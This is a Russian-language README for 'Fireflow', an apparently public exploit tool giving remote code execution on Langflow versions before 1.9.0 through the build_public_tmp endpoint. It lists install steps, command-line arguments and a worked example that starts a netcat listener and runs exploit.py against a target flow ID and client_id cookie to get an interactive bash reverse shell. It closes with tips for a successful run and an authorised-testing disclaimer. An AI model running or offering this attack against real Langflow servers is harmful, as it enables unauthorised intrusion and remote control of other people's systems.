Fireflow RCE Exploit

Удаленное выполнение кода для Langflow через конечную точку build_public_tmp.
Эксплуатация через конечную точку сборки публичного потока, которая выполняет обратную оболочку на целевой системе.

Требования

• Python 3.8+
• Библиотека httpx

Установка:

pip install httpx

Использование

python exploit.py -u <BASE_URL> -l <LHOST> -p <LPORT> --flow-id <FLOW_ID> --client-id <CLIENT_ID>

Аргументы

• -u, --url : Базовый URL экземпляра Langflow (например, https://flow.example.com/)
• -l, --lhost : Ваш IP-адрес для получения обратной оболочки
• -p, --lport : Порт прослушивания для обратной оболочки
• -f --flow-id : ID целевого потока (обязательно – получите из /api/v1/flows/ или через интерфейс)
• -c --client-id : Значение cookie client_id для идентификации сессии

Пример

1. Запустите слушатель:

   root@kitploit:~

   nc -nlvp 9001
   

2. Запустите эксплойт:

   root@kitploit:~

   python exploit.py -u https://flow.target.local/ -l 127.0.0.1 -p 9001 --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --client-id 8a6bf601-0263-480b-aa81-9a6389ca9e5d
   

3. В случае успеха вы получите интерактивную оболочку bash.

Важные замечания

• ReadTimeout является нормальным – сервер может не отвечать, так как оболочка блокирует HTTP-запрос. Если вы видите подключение на вашем слушателе, эксплойт сработал.
• Требуется валидный flow-id. Получите список всех потоков через GET /api/v1/flows или скопируйте из URL браузера.
• Этот инструмент предназначен только для авторизованного тестирования на проникновение и образовательных целей. Не используйте его против систем без явного разрешения.

Затронутые версии

• Версии Langflow до исправления RCE через пользовательские компоненты <1.9.0

Лицензия

MIT – для образовательных и этических исследований в области безопасности.